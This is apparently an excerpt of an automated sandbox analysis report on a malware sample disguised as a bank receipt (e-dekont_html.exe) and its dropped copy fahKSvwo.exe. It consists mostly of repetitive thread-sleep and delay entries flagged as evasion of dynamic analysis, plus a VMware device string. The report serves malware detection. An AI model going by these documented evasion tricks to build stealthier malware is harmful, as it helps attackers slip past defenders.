Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 599766
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 599654
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 599545
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 599437
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 599219
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 599094
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 598984
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 598875
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 598765
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 598656
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 598546
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 598402
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 598183
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 598078
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597953
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597844
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597731
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597582
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597453
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597344
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597233
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597125
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597016
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 596906
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 596797
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 596688
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 596563
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 596453
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 596344
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 596219
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 596110
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 595985
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 595860
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 595735
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 595610
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 595485
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 595326
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 595206
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 594746
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 594641
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 594516
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 594406
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 594297
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 594187
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 594078
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 593969
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 593839
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7347 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2269 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6693 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2858 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Window / User API: threadDelayed 4133 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Window / User API: threadDelayed 5695 Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Window / User API: threadDelayed 4271
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Window / User API: threadDelayed 5574
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 6036 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7328 Thread sleep time: -13835058055282155s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7344 Thread sleep time: -14757395258967632s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep count: 38 > 30 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -35048813740048126s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7520 Thread sleep count: 4133 > 30 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -599890s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -599781s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -599668s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7520 Thread sleep count: 5695 > 30 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -599562s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -599453s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -599344s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -599234s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -599124s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -599015s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -598897s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -598781s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -598660s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -598516s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -598406s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -598292s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -598187s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -598078s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -597969s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -597844s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -597665s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -597494s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -597344s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -597234s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -597125s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -597016s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -596891s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -596766s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -596656s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -596547s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -596437s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -596328s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -596219s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -596109s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -596000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -595891s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -595766s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -595641s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -595531s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -595422s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -595313s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -595188s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -595063s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -594930s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -594652s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -594540s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -594422s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -594312s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -594203s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -594094s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -593983s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -593875s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe TID: 7516 Thread sleep time: -593766s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7464 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep count: 38 > 30
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -35048813740048126s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7796 Thread sleep count: 4271 > 30
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -599875s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7796 Thread sleep count: 5574 > 30
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -599766s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -599654s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -599545s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -599437s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -599328s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -599219s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -599094s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -598984s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -598875s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -598765s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -598656s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -598546s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -598402s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -598183s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -598078s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -597953s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -597844s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -597731s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -597582s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -597453s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -597344s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -597233s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -597125s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -597016s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -596906s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -596797s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -596688s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -596563s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -596453s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -596344s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -596219s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -596110s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -595985s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -595860s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -595735s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -595610s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -595485s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -595326s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -595206s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -594746s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -594641s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -594516s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -594406s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -594297s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -594187s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -594078s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -593969s >= -30000s
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe TID: 7792 Thread sleep time: -593839s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599890 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599781 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599668 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599562 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599453 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599344 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599234 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599124 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599015 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 598897 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 598781 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 598660 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 598516 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 598406 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 598292 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 598187 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 598078 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 597969 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 597844 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 597665 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 597494 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 597344 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 597234 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 597125 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 597016 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596891 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596766 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596656 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596547 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596437 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596328 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596219 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596109 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596000 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 595891 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 595766 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 595641 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 595531 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 595422 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 595313 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 595188 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 595063 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 594930 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 594652 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 594540 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 594422 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 594312 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 594203 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 594094 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 593983 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 593875 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 593766 Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 599766
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 599654
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 599545
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 599437
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 599219
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 599094
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 598984
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 598875
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 598765
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 598656
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 598546
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 598402
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 598183
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 598078
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597953
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597844
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597731
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597582
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597453
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597344
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597233
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597125
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 597016
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 596906
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 596797
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 596688
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 596563
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 596453
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 596344
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 596219
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 596110
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 595985
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 595860
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 595735
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 595610
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 595485
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 595326
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 595206
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 594746
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 594641
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 594516
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 594406
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 594297
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 594187
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 594078
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 593969
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 593839
Source: e-dekont_html.exe, 00000000.00000002.1778649683.0000000008C5C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
